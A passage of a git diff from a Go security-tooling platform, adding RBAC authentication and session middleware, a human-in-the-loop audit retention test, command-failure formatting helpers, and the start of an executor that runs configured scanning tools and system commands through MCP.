logger.Debug("hitl audit log retention tick completed") + } + } + }() +} diff --git a/internal/hitl/retention_test.go b/internal/hitl/retention_test.go new file mode 100644 index 00000000..f2db086d --- /dev/null +++ b/internal/hitl/retention_test.go @@ -0,0 +1,50 @@ +package hitl + +import ( + "path/filepath" + "testing" + "time" + + appconfig "cyberstrike-ai/internal/config" + "cyberstrike-ai/internal/database" + + "go.uber.org/zap" +) + +func TestServicePurgeExpired_respectsZeroRetention(t *testing.T) { + dbPath := filepath.Join(t.TempDir(), "hitl.db") + db, err := database.NewDB(dbPath, zap.NewNop()) + if err != nil { + t.Fatalf("NewDB: %v", err) + } + defer db.Close() + if _, err := db.Exec(`CREATE TABLE IF NOT EXISTS hitl_interrupts ( + id TEXT PRIMARY KEY, + conversation_id TEXT NOT NULL, + mode TEXT NOT NULL, + tool_name TEXT NOT NULL, + status TEXT NOT NULL, + decision TEXT, + created_at DATETIME NOT NULL, + decided_at DATETIME + )`); err != nil { + t.Fatalf("create table: %v", err) + } + + old := time.Now().AddDate(0, 0, -100).UTC().Format(time.RFC3339) + if _, err := db.Exec(`INSERT INTO hitl_interrupts + (id, conversation_id, mode, tool_name, status, decision, created_at, decided_at) + VALUES ('old-1', 'c1', 'approval', 'exec', 'decided', 'approve', ?, ?)`, old, old); err != nil { + t.Fatalf("insert: %v", err) + } + + zero := 0 + svc := NewService(db, &appconfig.Config{ + Hitl: appconfig.HitlConfig{RetentionDays: &zero}, + }, zap.NewNop()) + svc.PurgeExpired() + + if err := db.QueryRow(`SELECT id FROM hitl_interrupts WHERE id = 'old-1'`).Scan(new(string)); err != nil { + t.Fatalf("record should remain when retention_days=0: %v", err) + } +} diff --git a/internal/security/auth_manager.go b/internal/security/auth_manager.go new file mode 100644 index 00000000..74e3b79a --- /dev/null +++ b/internal/security/auth_manager.go @@ -0,0 +1,266 @@ +package security + +import ( + "database/sql" + "errors" + "strings" + "sync" + "time" + + "cyberstrike-ai/internal/database" + + "github.com/google/uuid" +) + +// Predefined errors for authentication operations. +var ( + ErrInvalidPassword = errors.New("invalid password") +) + +// Session represents an authenticated user session. +type Session struct { + Token string + ExpiresAt time.Time + UserID string + Username string + DisplayName string + Roles []string + Permissions map[string]bool + PermissionScopes map[string]string + Scope string +} + +// AuthManager manages password-based authentication and session lifecycle. +type AuthManager struct { + sessionDuration time.Duration + db *database.DB + + mu sync.RWMutex + sessions map[string]Session +} + +// NewAuthManager creates a new AuthManager instance. +func NewAuthManager(sessionDurationHours int) *AuthManager { + if sessionDurationHours <= 0 { + sessionDurationHours = 12 + } + + return &AuthManager{ + sessionDuration: time.Duration(sessionDurationHours) * time.Hour, + sessions: make(map[string]Session), + } +} + +// AttachRBACStore enables multi-user RBAC authentication. When no users exist yet, +// it bootstraps the built-in admin account and returns the generated initial password. +func (a *AuthManager) AttachRBACStore(db *database.DB) (generatedAdminPassword string, err error) { + if db == nil { + return "", errors.New("database is required for authentication") + } + + needsAdminPassword, err := db.RBACNeedsAdminPassword() + if err != nil { + return "", err + } + + adminPasswordHash := "" + if needsAdminPassword { + generatedAdminPassword, err = GenerateStrongPassword(24) + if err != nil { + return "", err + } + adminPasswordHash, err = HashPassword(generatedAdminPassword) + if err != nil { + return "", err + } + } + + if err := db.BootstrapRBAC(adminPasswordHash, PermissionCatalog); err != nil { + return "", err + } + + a.mu.Lock() + a.db = db + a.mu.Unlock() + return generatedAdminPassword, nil +} + +// Authenticate validates the password and creates a new session. +func (a *AuthManager) Authenticate(username, password string) (string, time.Time, error) { + session, err := a.authenticateSession(username, password) + if err != nil { + return "", time.Time{}, err + } + a.mu.Lock() + a.sessions[session.Token] = session + a.mu.Unlock() + return session.Token, session.ExpiresAt, nil +} + +func (a *AuthManager) authenticateSession(username, password string) (Session, error) { + token := uuid.NewString() + expiresAt := time.Now().Add(a.sessionDuration) + + a.mu.RLock() + db := a.db + a.mu.RUnlock() + if db == nil { + return Session{}, errors.New("authentication store is not configured") + } + + username = strings.TrimSpace(strings.ToLower(username)) + if username == "" { + username = "admin" + } + user, err := db.GetRBACUserByUsername(username) + if err != nil { + if err == sql.ErrNoRows { + return Session{}, ErrInvalidPassword + } + return Session{}, err + } + if !user.Enabled || !VerifyPasswordHash(password, user.PasswordHash) { + return Session{}, ErrInvalidPassword + } + access, err := db.ResolveRBACAccess(user.ID) + if err != nil { + return Session{}, err + } + roleIDs := make([]string, 0, len(access.Roles)) + for _, role := range access.Roles { + roleIDs = append(roleIDs, role.ID) + } + return Session{ + Token: token, + ExpiresAt: expiresAt, + UserID: user.ID, + Username: user.Username, + DisplayName: user.DisplayName, + Roles: roleIDs, + Permissions: access.Permissions, + PermissionScopes: access.PermissionScopes, + Scope: access.Scope, + }, nil +} + +func (s Session) ScopeFor(permission string) string { + if scope := strings.TrimSpace(s.PermissionScopes[strings.TrimSpace(permission)]); scope != "" { + return scope + } + return strings.TrimSpace(s.Scope) +} + +// ValidateToken checks whether the provided token is still valid. +func (a *AuthManager) ValidateToken(token string) (Session, bool) { + if strings.TrimSpace(token) == "" { + return Session{}, false + } + + a.mu.RLock() + session, ok := a.sessions[token] + a.mu.RUnlock() + if !ok { + return Session{}, false + } + + if time.Now().After(session.ExpiresAt) { + a.mu.Lock() + delete(a.sessions, token) + a.mu.Unlock() + return Session{}, false + } + + return session, true +} + +// CheckPassword verifies whether the provided password matches the current password. +func (a *AuthManager) CheckPassword(password string) bool { + return a.CheckUserPassword("admin", password) +} + +// CheckUserPassword verifies whether the provided password matches a user. +func (a *AuthManager) CheckUserPassword(username, password string) bool { + a.mu.RLock() + db := a.db + a.mu.RUnlock() + if db == nil { + return false + } + user, err := db.GetRBACUserByUsername(username) + if err != nil { + return false + } + return VerifyPasswordHash(password, user.PasswordHash) +} + +func (a *AuthManager) UpdateUserPassword(userID, password string) error { + password = strings.TrimSpace(password) + if password == "" { + return errors.New("auth password must be configured") + } + hash, err := HashPassword(password) + if err != nil { + return err + } + a.mu.RLock() + db := a.db + a.mu.RUnlock() + if db == nil { + return errors.New("authentication store is not configured") + } + if err := db.UpdateRBACUserPassword(userID, hash); err != nil { + return err + } + a.mu.Lock() + for token, session := range a.sessions { + if session.UserID == userID { + delete(a.sessions, token) + } + } + a.mu.Unlock() + return nil +} + +// RevokeToken invalidates the specified token. +func (a *AuthManager) RevokeToken(token string) { + if strings.TrimSpace(token) == "" { + return + } + + a.mu.Lock() + delete(a.sessions, token) + a.mu.Unlock() +} + +func (a *AuthManager) RevokeUserSessions(userID string) { + userID = strings.TrimSpace(userID) + if userID == "" { + return + } + a.mu.Lock() + for token, session := range a.sessions { + if session.UserID == userID { + delete(a.sessions, token) + } + } + a.mu.Unlock() +} + +func (a *AuthManager) RevokeAllSessions() { + a.mu.Lock() + a.sessions = make(map[string]Session) + a.mu.Unlock() +} + +// SessionDurationHours returns the configured session duration in hours. +func (a *AuthManager) SessionDurationHours() int { + return int(a.sessionDuration / time.Hour) +} + +func allPermissions() map[string]bool { + out := make(map[string]bool, len(PermissionCatalog)) + for key := range PermissionCatalog { + out[key] = true + } + return out +} diff --git a/internal/security/auth_manager_bootstrap_test.go b/internal/security/auth_manager_bootstrap_test.go new file mode 100644 index 00000000..fff311b3 --- /dev/null +++ b/internal/security/auth_manager_bootstrap_test.go @@ -0,0 +1,38 @@ +package security + +import ( + "path/filepath" + "testing" + + "cyberstrike-ai/internal/database" + + "go.uber.org/zap" +) + +func TestAttachRBACStoreBootstrapsAdminPassword(t *testing.T) { + db, err := database.NewDB(filepath.Join(t.TempDir(), "auth-bootstrap.db"), zap.NewNop()) + if err != nil { + t.Fatalf("NewDB: %v", err) + } + t.Cleanup(func() { _ = db.Close() }) + + manager := NewAuthManager(12) + generated, err := manager.AttachRBACStore(db) + if err != nil { + t.Fatalf("AttachRBACStore: %v", err) + } + if generated == "" { + t.Fatal("expected generated admin password on first bootstrap") + } + if !manager.CheckUserPassword("admin", generated) { + t.Fatal("generated password should authenticate admin") + } + + second, err := manager.AttachRBACStore(db) + if err != nil { + t.Fatalf("AttachRBACStore second call: %v", err) + } + if second != "" { + t.Fatalf("expected no password on second bootstrap, got %q", second) + } +} diff --git a/internal/security/auth_manager_test.go b/internal/security/auth_manager_test.go new file mode 100644 index 00000000..25e1b591 --- /dev/null +++ b/internal/security/auth_manager_test.go @@ -0,0 +1,94 @@ +package security + +import ( + "net/http" + "net/http/httptest" + "path/filepath" + "testing" + + "cyberstrike-ai/internal/authctx" + "cyberstrike-ai/internal/database" + + "github.com/gin-gonic/gin" + "go.uber.org/zap" +) + +func TestAuthManagerAuthenticatesCreatedRBACUser(t *testing.T) { + db, err := database.NewDB(filepath.Join(t.TempDir(), "auth-rbac.db"), zap.NewNop()) + if err != nil { + t.Fatalf("NewDB: %v", err) + } + t.Cleanup(func() { _ = db.Close() }) + + manager := NewAuthManager(12) + if _, err := manager.AttachRBACStore(db); err != nil { + t.Fatalf("AttachRBACStore: %v", err) + } + hash, err := HashPassword("operator-secret") + if err != nil { + t.Fatalf("HashPassword: %v", err) + } + user, err := db.CreateRBACUser("operator1", "Operator One", hash, true, []string{database.RBACSystemRoleViewer}) + if err != nil { + t.Fatalf("CreateRBACUser: %v", err) + } + + token, _, err := manager.Authenticate("operator1", "operator-secret") + if err != nil { + t.Fatalf("Authenticate created user: %v", err) + } + session, ok := manager.ValidateToken(token) + if !ok { + t.Fatalf("expected created user session to validate") + } + if session.UserID != user.ID || session.Username != "operator1" { + t.Fatalf("session user = %s/%s, want %s/operator1", session.UserID, session.Username, user.ID) + } + if !session.Permissions["auth:self"] || !session.Permissions["chat:read"] { + t.Fatalf("expected viewer permissions in session, got %#v", session.Permissions) + } + + if _, _, err := manager.Authenticate("", "operator-secret"); err == nil { + t.Fatalf("empty username must not authenticate non-admin user") + } + + router := gin.New() + router.Use(AuthMiddleware(manager)) + router.GET("/principal", func(c *gin.Context) { + principal, ok := authctx.PrincipalFromContext(c.Request.Context()) + if !ok || principal.UserID != user.ID || !principal.HasPermission("chat:read") || principal.ScopeFor("chat:read") != database.RBACScopeAssigned { + c.Status(http.StatusInternalServerError) + return + } + c.Status(http.StatusNoContent) + }) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/principal", nil) + req.Header.Set("Authorization", "Bearer "+token) + router.ServeHTTP(w, req) + if w.Code != http.StatusNoContent { + t.Fatalf("principal propagation status = %d", w.Code) + } +} + +func TestQueryTokenOnlyAllowedForSSEAndWebSocketGET(t *testing.T) { + requestToken := func(method, accept, upgrade string) string { + c, _ := gin.CreateTestContext(httptest.NewRecorder()) + c.Request = httptest.NewRequest(method, "/api/test?token=secret", nil) + c.Request.Header.Set("Accept", accept) + c.Request.Header.Set("Upgrade", upgrade) + return extractTokenFromRequest(c) + } + if got := requestToken(http.MethodGet, "application/json", ""); got != "" { + t.Fatalf("ordinary GET accepted query token %q", got) + } + if got := requestToken(http.MethodPost, "text/event-stream", ""); got != "" { + t.Fatalf("POST accepted query token %q", got) + } + if got := requestToken(http.MethodGet, "text/event-stream", ""); got != "secret" { + t.Fatalf("SSE token = %q", got) + } + if got := requestToken(http.MethodGet, "", "websocket"); got != "secret" { + t.Fatalf("WebSocket token = %q", got) + } +} diff --git a/internal/security/auth_middleware.go b/internal/security/auth_middleware.go new file mode 100644 index 00000000..8b4d5e24 --- /dev/null +++ b/internal/security/auth_middleware.go @@ -0,0 +1,151 @@ +package security + +import ( + "net/http" + "strings" + + "cyberstrike-ai/internal/authctx" + "cyberstrike-ai/internal/database" + + "github.com/gin-gonic/gin" +) + +const ( + ContextAuthTokenKey = "authToken" + ContextSessionExpiry = "authSessionExpiry" + ContextUserIDKey = "authUserID" + ContextUsernameKey = "authUsername" + ContextUserScopeKey = "authUserScope" + ContextSessionKey = "authSession" +) + +// AuthMiddleware enforces authentication on protected routes. +func AuthMiddleware(manager *AuthManager) gin.HandlerFunc { + return func(c *gin.Context) { + token := extractTokenFromRequest(c) + session, ok := manager.ValidateToken(token) + if !ok { + c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{ + "error": "未授权访问，请先登录", + }) + return + } + + c.Set(ContextAuthTokenKey, session.Token) + c.Set(ContextSessionExpiry, session.ExpiresAt) + c.Set(ContextUserIDKey, session.UserID) + c.Set(ContextUsernameKey, session.Username) + c.Set(ContextUserScopeKey, session.Scope) + c.Set(ContextSessionKey, session) + // Gin context values do not survive into Agent/MCP/background contexts. + // Attach an immutable principal to the request context as the canonical + // identity for every downstream execution layer. + principal := authctx.NewPrincipalWithScopes(session.UserID, session.Username, session.Scope, session.Permissions, session.PermissionScopes) + c.Request = c.Request.WithContext(authctx.WithPrincipal(c.Request.Context(), principal)) + c.Next() + } +} + +func RequirePermission(permission string) gin.HandlerFunc { + permission = strings.TrimSpace(permission) + return func(c *gin.Context) { + if permission == "" || SessionHasPermission(c, permission) { + c.Next() + return + } + c.AbortWithStatusJSON(http.StatusForbidden, gin.H{ + "error": "权限不足", + "permission": permission, + }) + } +} + +func RequireAnyPermission(permissions ...string) gin.HandlerFunc { + return func(c *gin.Context) { + for _, permission := range permissions { + if SessionHasPermission(c, permission) { + c.Next() + return + } + } + c.AbortWithStatusJSON(http.StatusForbidden, gin.H{ + "error": "权限不足", + "permissions": permissions, + }) + } +} + +func RequireResourcePermission(db *database.DB, permission, resourceType, paramName string) gin.HandlerFunc { + return func(c *gin.Context) { + if !SessionHasPermission(c, permission) { + c.AbortWithStatusJSON(http.StatusForbidden, gin.H{ + "error": "权限不足", + "permission": permission, + }) + return + } + if db == nil { + c.AbortWithStatusJSON(http.StatusServiceUnavailable, gin.H{"error": "资源鉴权服务不可用"}) + return + } + resourceID := strings.TrimSpace(c.Param(paramName)) + if resourceID == "" { + c.AbortWithStatusJSON(http.StatusBadRequest, gin.H{"error": "资源 ID 不能为空"}) + return + } + session, ok := CurrentSession(c) + if !ok || !db.UserCanAccessResource(session.UserID, session.Scope, resourceType, resourceID) { + c.AbortWithStatusJSON(http.StatusForbidden, gin.H{ + "error": "无权访问该资源", + "resource_type": resourceType, + "resource_id": resourceID, + }) + return + } + c.Next() + } +} + +func CurrentSession(c *gin.Context) (Session, bool) { + if c == nil { + return Session{}, false + } + v, ok := c.Get(ContextSessionKey) + if !ok { + return Session{}, false + } + session, ok := v.(Session) + return session, ok +} + +func SessionHasPermission(c *gin.Context, permission string) bool { + session, ok := CurrentSession(c) + if !ok { + return false + } + return session.Permissions[permission] +} + +func extractTokenFromRequest(c *gin.Context) string { + authHeader := c.GetHeader("Authorization") + if authHeader != "" { + if len(authHeader) > 7 && strings.EqualFold(authHeader[0:7], "Bearer ") { + return strings.TrimSpace(authHeader[7:]) + } + return strings.TrimSpace(authHeader) + } + + if token := c.Query("token"); token != "" && c.Request.Method == http.MethodGet { + acceptsSSE := strings.Contains(strings.ToLower(c.GetHeader("Accept")), "text/event-stream") + upgradesWebSocket := strings.EqualFold(strings.TrimSpace(c.GetHeader("Upgrade")), "websocket") + if acceptsSSE || upgradesWebSocket { + return strings.TrimSpace(token) + } + } + + if cookie, err := c.Cookie("auth_token"); err == nil { + return strings.TrimSpace(cookie) + } + + return "" +} diff --git a/internal/security/command_failure_format.go b/internal/security/command_failure_format.go new file mode 100644 index 00000000..dc5af2c5 --- /dev/null +++ b/internal/security/command_failure_format.go @@ -0,0 +1,56 @@ +package security + +import ( + "errors" + "fmt" + "os/exec" + "strings" +) + +// FormatCommandFailureResult 与 exec 工具 ToolResult 文案一致（不含 ToolErrorPrefix）。 +func FormatCommandFailureResult(exitCode int, output string) string { + output = strings.TrimSpace(output) + errMsg := fmt.Sprintf("exit status %d", exitCode) + if output == "" { + return fmt.Sprintf("命令执行失败: %s", errMsg) + } + if strings.HasPrefix(output, "命令执行失败:") { + return output + } + return fmt.Sprintf("命令执行失败: %s\n输出: %s", errMsg, output) +} + +// FormatCommandFailureFromErr 根据 exec/execute 返回的 error 生成统一失败文案（IsError 正文）。 +func FormatCommandFailureFromErr(err error, output string) string { + if err == nil { + return strings.TrimSpace(output) + } + var exitError *exec.ExitError + if errors.As(err, &exitError) { + return FormatCommandFailureResult(exitError.ExitCode(), output) + } + output = strings.TrimSpace(output) + if output == "" { + return fmt.Sprintf("命令执行失败: %v", err) + } + if strings.HasPrefix(output, "命令执行失败:") { + return output + } + return fmt.Sprintf("命令执行失败: %v\n输出: %s", err, output) +} + +// ExecuteFailureStatusLine 流式 execute 结束时追加的单行状态（输出正文已在流中推送过）。 +func ExecuteFailureStatusLine(exitCode int) string { + return fmt.Sprintf("\n命令执行失败: exit status %d", exitCode) +} + +// IsCommandFailureResult 判断工具结果正文是否表示命令非零退出（用于 execute / exec 对齐 isError）。 +func IsCommandFailureResult(content string) bool { + return strings.Contains(content, "命令执行失败:") +} + +// IsLegacyShellExitNoise 过滤旧版 shell 流中冗余的 exit code 行。 +func IsLegacyShellExitNoise(s string) bool { + trimmed := strings.TrimSpace(s) + return strings.HasPrefix(trimmed, "command exited with non-zero code ") +} diff --git a/internal/security/command_failure_format_test.go b/internal/security/command_failure_format_test.go new file mode 100644 index 00000000..d7ca53a2 --- /dev/null +++ b/internal/security/command_failure_format_test.go @@ -0,0 +1,54 @@ +package security + +import ( + "errors" + "os/exec" + "strings" + "testing" +) + +func TestFormatCommandFailureResult(t *testing.T) { + got := FormatCommandFailureResult(1, "sudo: password required") + want := "命令执行失败: exit status 1\n输出: sudo: password required" + if got != want { + t.Fatalf("got %q want %q", got, want) + } + if FormatCommandFailureResult(2, "") != "命令执行失败: exit status 2" { + t.Fatal("empty output format") + } + if FormatCommandFailureResult(1, "命令执行失败: exit status 1") != "命令执行失败: exit status 1" { + t.Fatal("should not double-wrap") + } +} + +func TestIsCommandFailureResult(t *testing.T) { + if !IsCommandFailureResult("sudo: err\n命令执行失败: exit status 1") { + t.Fatal("expected true") + } + if IsCommandFailureResult("sudo: err only") { + t.Fatal("expected false") + } +} + +func TestFormatCommandFailureFromErr(t *testing.T) { + cmd := exec.Command("sh", "-c", "exit 42") + err := cmd.Run() + got := FormatCommandFailureFromErr(err, "oops") + if got != "命令执行失败: exit status 42\n输出: oops" { + t.Fatalf("got %q", got) + } + timeoutErr := errors.New("shell inactivity timeout (300s)") + got2 := FormatCommandFailureFromErr(timeoutErr, "already timed out") + if !strings.Contains(got2, "shell inactivity timeout") || !strings.Contains(got2, "already timed out") { + t.Fatalf("got %q", got2) + } +} + +func TestIsLegacyShellExitNoise(t *testing.T) { + if !IsLegacyShellExitNoise("command exited with non-zero code 1\n") { + t.Fatal("expected legacy noise") + } + if IsLegacyShellExitNoise("sudo: failed") { + t.Fatal("unexpected noise") + } +} diff --git a/internal/security/executor.go b/internal/security/executor.go new file mode 100644 index 00000000..a1f6ae97 --- /dev/null +++ b/internal/security/executor.go @@ -0,0 +1,1626 @@ +package security + +import ( + "bufio" + "context" + "encoding/json" + "fmt" + "io" + "os" + "os/exec" + "runtime" + "strconv" + "strings" + "sync" + "time" + + "cyberstrike-ai/internal/config" + "cyberstrike-ai/internal/mcp" + "cyberstrike-ai/internal/tooloutput" + + "github.com/creack/pty" + "github.com/google/uuid" + "go.uber.org/zap" +) + +// ToolOutputCallback 用于在工具执行过程中把 stdout/stderr 增量推给上层（SSE）。 +// 通过 context 传递，避免修改 MCP ToolHandler 签名导致的“写死工具”问题。 +type ToolOutputCallback func(chunk string) + +type toolOutputCallbackCtxKey struct{} + +// ToolOutputCallbackCtxKey 是 context 中的 key，供 Agent 写入回调，Executor 读取并流式回调。 +var ToolOutputCallbackCtxKey = toolOutputCallbackCtxKey{} + +// Executor 安全工具执行器 +type Executor struct { + config *config.SecurityConfig + toolIndex map[string]*config.ToolConfig // 工具索引，用于 O(1) 查找 + mcpServer *mcp.Server + logger *zap.Logger + shellNoOutputTimeoutSec int // execute/exec 无新输出空闲秒数；0=默认 300；-1=关闭（见 SetShellNoOutputTimeoutSeconds） + toolOutputMaxBytes int + spillRootDir string +} + +// NewExecutor 创建新的执行器 +func NewExecutor(cfg *config.SecurityConfig, mcpServer *mcp.Server, logger *zap.Logger) *Executor { + executor := &Executor{ + config: cfg, + toolIndex: make(map[string]*config.ToolConfig), + mcpServer: mcpServer, + logger: logger, + } + // 构建工具索引 + executor.buildToolIndex() + return executor +} + +// SetShellNoOutputTimeoutSeconds 配置 exec 工具无输出空闲终止（与 agent.shell_no_output_timeout_seconds 一致）。 +func (e *Executor) SetShellNoOutputTimeoutSeconds(sec int) { + e.shellNoOutputTimeoutSec = sec +} + +// SetToolOutputMaxBytes limits stdout/stderr retained and streamed by exec-like +// tools. It should stay aligned with MCP result normalization so every channel +// sees the same bounded payload. Oversized full output is spilled to disk first. +func (e *Executor) SetToolOutputMaxBytes(maxBytes int) { + e.toolOutputMaxBytes = maxBytes +} + +// SetToolOutputSpillRoot sets the reduction-compatible root for spilling full +// exec stdout/stderr when the in-memory bound is exceeded (empty → tmp/reduction). +func (e *Executor) SetToolOutputSpillRoot(rootDir string) { + e.spillRootDir = strings.TrimSpace(rootDir) +} + +func (e *Executor) wrapToolOutputCallback(ctx context.Context, cb ToolOutputCallback) ToolOutputCallback { + executionID := mcp.MCPExecutionIDFromContext(ctx) + if e == nil || e.mcpServer == nil || strings.TrimSpace(executionID) == "" { + return cb + } + return func(chunk string) { + if chunk != "" { + e.mcpServer.AppendToolExecutionPartialOutput(executionID, chunk) + } + if cb != nil { + cb(chunk) + } + } +} + +func (e *Executor) spillOptsFromContext(ctx context.Context) tooloutput.SpillOpts { + root := "" + if e != nil { + root = e.spillRootDir + } + opts := tooloutput.SpillOpts{RootDir: root} + if ctx != nil { + opts.ConversationID = mcp.MCPConversationIDFromContext(ctx) + opts.ProjectID = mcp.MCPProjectIDFromContext(ctx) + opts.ExecutionID = mcp.MCPExecutionIDFromContext(ctx) + } + if opts.ExecutionID == "" { + opts.ExecutionID = uuid.NewString() + } + return opts +} + +// buildToolIndex 构建工具索引，将 O(n) 查找优化为 O(1) +func (e *Executor) buildToolIndex() { + e.toolIndex = make(map[string]*config.ToolConfig) + for i := range e.config.Tools { + if e.config.Tools[i].Enabled { + e.toolIndex[e.config.Tools[i].Name] = &e.config.Tools[i] + } + } + e.logger.Debug("工具索引构建完成", + zap.Int("totalTools", len(e.config.Tools)), + zap.Int("enabledTools", len(e.toolIndex)), + ) +} + +// ExecuteTool 执行安全工具 +func (e *Executor) ExecuteTool(ctx context.Context, toolName string, args map[string]interface{}) (*mcp.ToolResult, error) { + e.logger.Debug("ExecuteTool被调用", + zap.String("toolName", toolName), + zap.Any("args", args), + ) + + // 特殊处理：exec工具直接执行系统命令 + if toolName == "exec" { + e.logger.Debug("执行exec工具") + return e.executeSystemCommand(ctx, args) + } + + // 使用索引查找工具配置（O(1) 查找） + toolConfig, exists := e.toolIndex[toolName] + if !exists { + e.logger.Error("工具未找到或未启用", + zap.String("toolName", toolName), + zap.Int("totalTools", len(e.config.Tools)), + zap.Int("enabledTools", len(e.toolIndex)), + ) + return nil, fmt.Errorf("工具 %s 未找到或未启用", toolName) + } + + e.logger.Debug("找到工具配置", + zap.String("toolName", toolName), + zap.String("command", toolConfig.Command), + zap.Strings("args", toolConfig.Args), + ) + + // 特殊处理：内部工具（command 以 "internal:" 开头） + if strings.HasPrefix(toolConfig.Command, "internal:") { + e.logger.Debug("执行内部工具", + zap.String("toolName", toolName), + zap.String("command", toolConfig.Command), + ) + return e.executeInternalTool(ctx, toolName, toolConfig.Command, args) + } + + // 构建命令 - 根据工具类型使用不同的参数格式 + cmdArgs := e.buildCommandArgs(toolName, toolConfig, args) + + e.logger.Debug("构建命令参数完成", + zap.String("toolName", toolName), + zap.Strings("cmdArgs", cmdArgs), + zap.Int("argsCount", len(cmdArgs)), + ) + + // 验证命令参数 + if len(cmdArgs) == 0 { + e.logger.Warn("命令参数为空", + zap.String("toolName", toolName), + zap.Any("inputArgs", args), + ) + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: fmt.Sprintf("错误: 工具 %s 缺少必需的参数。接收到的参数: %v", toolName, args), + }, + }, + IsError: true, + }, nil + } + + // 执行命令 + cmd := exec.CommandContext(ctx, toolConfig.Command, cmdArgs...) + applyDefaultTerminalEnv(cmd) + attachNonInteractiveStdin(cmd) + _ = prepareShellCmdSession(cmd) + + e.logger.Debug("执行安全工具", + zap.String("tool", toolName), + zap.Strings("args", cmdArgs), + ) + + var output string + var err error + spill := e.spillOptsFromContext(ctx) + // 如果上层提供了 stdout/stderr 增量回调，或当前处于 MCP execution 中，则边执行边读取并回调。 + if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); (ok && cb != nil) || mcp.MCPExecutionIDFromContext(ctx) != "" { + cb = e.wrapToolOutputCallback(ctx, cb) + output, err = streamCommandOutput(ctx, cmd, cb, ResolveShellNoOutputTimeoutSeconds(e.shellNoOutputTimeoutSec), e.toolOutputMaxBytes, spill) + if err != nil && shouldRetryWithPTY(output) { + e.logger.Info("检测到工具需要 TTY，使用 PTY 重试", + zap.String("tool", toolName), + ) + cmd2 := exec.CommandContext(ctx, toolConfig.Command, cmdArgs...) + applyDefaultTerminalEnv(cmd2) + _ = prepareShellCmdSession(cmd2) + output, err = runCommandWithPTY(ctx, cmd2, cb, e.toolOutputMaxBytes, spill) + } + } else { + // 非流式：内存缓冲 + ctx 取消杀进程组；行为对齐原 CombinedOutput，避免双流管道 fan-in 死锁。 + output, err = combinedOutputCancellableWithLimit(ctx, cmd, e.toolOutputMaxBytes, spill) + if err != nil && shouldRetryWithPTY(output) { + e.logger.Info("检测到工具需要 TTY，使用 PTY 重试", + zap.String("tool", toolName), + ) + cmd2 := exec.CommandContext(ctx, toolConfig.Command, cmdArgs...) + applyDefaultTerminalEnv(cmd2) + _ = prepareShellCmdSession(cmd2) + output, err = runCommandWithPTY(ctx, cmd2, nil, e.toolOutputMaxBytes, spill) + } + } + if err != nil { + // 检查退出码是否在允许列表中 + exitCode := getExitCode(err) + if exitCode != nil && toolConfig.AllowedExitCodes != nil { + for _, allowedCode := range toolConfig.AllowedExitCodes { + if *exitCode == allowedCode { + e.logger.Debug("工具执行完成（退出码在允许列表中）", + zap.String("tool", toolName), + zap.Int("exitCode", *exitCode), + zap.String("output", string(output)), + ) + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: string(output), + }, + }, + IsError: false, + }, nil + } + } + } + + e.logger.Error("工具执行失败", + zap.String("tool", toolName), + zap.Error(err), + zap.Int("exitCode", getExitCodeValue(err)), + zap.String("output", string(output)), + ) + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: fmt.Sprintf("工具执行失败: %v\n输出: %s", err, string(output)), + }, + }, + IsError: true, + }, nil + } + + e.logger.Debug("工具执行成功", + zap.String("tool", toolName), + zap.String("output", string(output)), + ) + + return &mcp.ToolResult{ + Content: []mcp.Content{ + { + Type: "text", + Text: string(output), + }, + }, + IsError: false, + }, nil +} + +// RegisterTools 注册工具到MCP服务器 +func (e *Executor) RegisterTools(mcpServer *mcp.Server) { + e.logger.Debug("开始注册工具", + zap.Int("totalTools", len(e.config.Tools)), + zap.Int("enabledTools", len(e.toolIndex)), + ) + + // 重新构建索引（以防配置更新） + e.buildToolIndex() + + for i, toolConfig := range e.config.Tools { + if !toolConfig.Enabled { + e.logger.Debug("跳过未启用的工具", + zap.String("tool", toolConfig.Name), + ) + continue + } + + // 创建工具配置的副本，避免闭包问题 + toolName := toolConfig.Name + toolConfigCopy := toolConfig + + // 根据配置决定暴露给 AI/API 的描述：short_description 或 description + useFullDescription := strings.TrimSpace(strings.ToLower(e.config.ToolDescriptionMode)) == "full" + shortDesc := toolConfigCopy.ShortDescription + if shortDesc == "" { + // 如果没有简短描述，从详细描述中提取第一行或前10000个字符 + desc := toolConfigCopy.Description + if len(desc) > 10000 { + if idx := strings.Index(desc, "\n"); idx > 0 && idx < 10000 { + shortDesc = strings.TrimSpace(desc[:idx]) + } else { + shortDesc = desc[:10000] + "..." + } + } else { + shortDesc = desc + } + } + if useFullDescription { + shortDesc = "" // 使用 description 时清空 ShortDescription，下游会回退到 Description + } + + tool := mcp.Tool{ + Name: toolConfigCopy.Name, + Description: toolConfigCopy.Description, + ShortDescription: shortDesc, + InputSchema: e.buildInputSchema(&toolConfigCopy), + } + + handler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) { + e.logger.Debug("工具handler被调用", + zap.String("toolName", toolName), + zap.Any("args", args), + ) + return e.ExecuteTool(ctx, toolName, args) + } + + mcpServer.RegisterTool(tool, handler) + e.logger.Debug("注册安全工具成功", + zap.String("tool", toolConfigCopy.Name), + zap.String("command", toolConfigCopy.Command), + zap.Int("index", i), + ) + } + + e.logger.Debug("工具注册完成", + zap.Int("registeredCount", len(e.config.Tools)), + ) +} + +// buildCommandArgs 构建命令参数 +func (e *Executor) buildCommandArgs(toolName string, toolConfig *config.ToolConfig, args map[string]interface{}) []string { + cmdArgs := make([]string, 0) + + // 如果配置中定义了参数映射，使用配置中的映射规则 + if len(toolConfig.Parameters) > 0 { + // 检查是否有 scan_type 参数，如果有则替换默认的扫描类型参数 + hasScanType := false + var scanTypeValue string + if scanType, ok := args["scan_type"].(string); ok && scanType != "" { + hasScanType = true + scanTypeValue = scanType + } + + // 添加固定参数（如果指定了 scan_type，可能需要过滤掉默认的扫描类型参数） + if hasScanType && toolName == "nmap" { + // 对于 nmap，如果指定了 scan_type，跳过默认的 -sT -sV -sC + // 这些参数会被 scan_type 参数替换 + } else { + cmdArgs = append(cmdArgs, toolConfig.Args...) + } + + // 按位置参数排序 + positionalParams := make([]config.ParameterConfig, 0) + flagParams := make([]config.ParameterConfig, 0) + + for _, param := range toolConfig.Parameters { + if param.Position != nil { + positionalParams = append(positionalParams, 